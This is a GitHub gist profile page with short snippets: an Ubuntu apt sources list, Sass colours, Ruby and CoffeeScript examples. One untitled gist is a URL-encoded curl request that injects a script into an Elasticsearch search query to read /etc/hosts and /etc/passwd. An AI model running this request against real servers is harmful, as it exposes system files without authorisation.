Skip to content

Instantly share code, notes, and snippets.

Avatar

simsicon

  • Alipay
  • Shanghai
View GitHub Profile
@simsicon
simsicon / source.list
Created Sep 5, 2013
A source.list for ubuntu 13.04 Raring
View source.list
deb http://mirrors.163.com/ubuntu/ raring main universe restricted multiverse
deb-src http://mirrors.163.com/ubuntu/ raring main universe restricted multiverse
deb http://mirrors.163.com/ubuntu/ raring-security universe main multiverse restricted
deb-src http://mirrors.163.com/ubuntu/ raring-security universe main multiverse restricted
deb http://mirrors.163.com/ubuntu/ raring-updates universe main multiverse restricted
deb http://mirrors.163.com/ubuntu/ raring-proposed universe main multiverse restricted
deb-src http://mirrors.163.com/ubuntu/ raring-proposed universe main multiverse restricted
deb http://mirrors.163.com/ubuntu/ raring-backports universe main multiverse restricted
deb-src http://mirrors.163.com/ubuntu/ raring-backports universe main multiverse restricted
deb-src http://mirrors.163.com/ubuntu/ raring-updates universe main multiverse restricted
@simsicon
simsicon / scheme.sass
Created Sep 11, 2013
Solarized Color Scheme
View scheme.sass
$base03: #002b36
$base02: #073642
$base01: #586e75
$base00: #657b83
$base0: #839496
$base1: #93a1a1
$base2: #eee8d5
$base3: #fdf6e3
$yellow: #b58900
$orange: #cb4b16
@simsicon
simsicon / fork_env.rb
Created Sep 22, 2013
ENV will inherit content from parent, not disturbed by siblings.
View fork_env.rb
ENV['p_name'] = 'master'
puts "[master] pid: #{Process.pid} pname: #{ENV['p_name']}"
p1 = Process.fork{
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}"
ENV['p_name'] = 'p1'
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}"
}
p2 = Process.fork{
@simsicon
simsicon / api
Created Oct 22, 2013
RESTful API examples for Grit
View api
Examples built with referenced from https://github.com/mojombo/grit/blob/master/lib/grit/repo.rb
POST /repos
PARAMS
bare: { type:Boolean, default:false }
repo_name: { type:String, required:true }
path: {type:String, required:true }
REQUEST EXMAPLE
{
"bare":true,
@simsicon
simsicon / proc.rb
Created Nov 12, 2013
LocalJumpError
View proc.rb
def inner_proc
_proc = Proc.new {return 42}
puts _proc.call
end
def outter_proc(_proc)
puts _proc.call
end
inner_proc # => 42
@simsicon
simsicon / assertions.rb
Created Feb 13, 2014
capybara minitest assertions comments
View assertions.rb
##
# Assertion that there is button
#
# see Capybara::Assertions#refute_button
# see Capybara::Assertions#assert_no_button
# see Capybara::expectations#must_have_button
# see Capybara::expectations#wont_have_button
# :method: assert_button
##
@simsicon
simsicon / query.rb
Created Mar 13, 2014
Mongoid doesn't support find_in_batches, this is a work around for it.
View query.rb
per_batch = 10
0.step(User.count, per_batch) do |offset|
puts User.limit(per_batch).skip(offset).map(&:username).inspect
end
@simsicon
simsicon / time.rb
Last active Aug 29, 2015
Relative Time Dilation
View time.rb
#
# http://en.wikipedia.org/wiki/Time_dilation
#
C = 300000.0
SECONDS_IN_YEAR = 365 * 24 * 3600
def calculate(v, delta_t)
relative_v = ( v * v ) / ( C * C )
denominator = Math.sqrt( 1 - relative_v ).to_f
View gist:fc5ca57164dbd37be8f9
curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968
View gist:5430754332730a365cc0
$.ajax
type: 'GET'
url: "http://crossdomain.com/data"
async: true
contentType: "application/json"
dataType: 'jsonp'
jsonpCallback: 'success_jsonpCallback'
success: (response) ->
console.log( response )
You can’t perform that action at this time.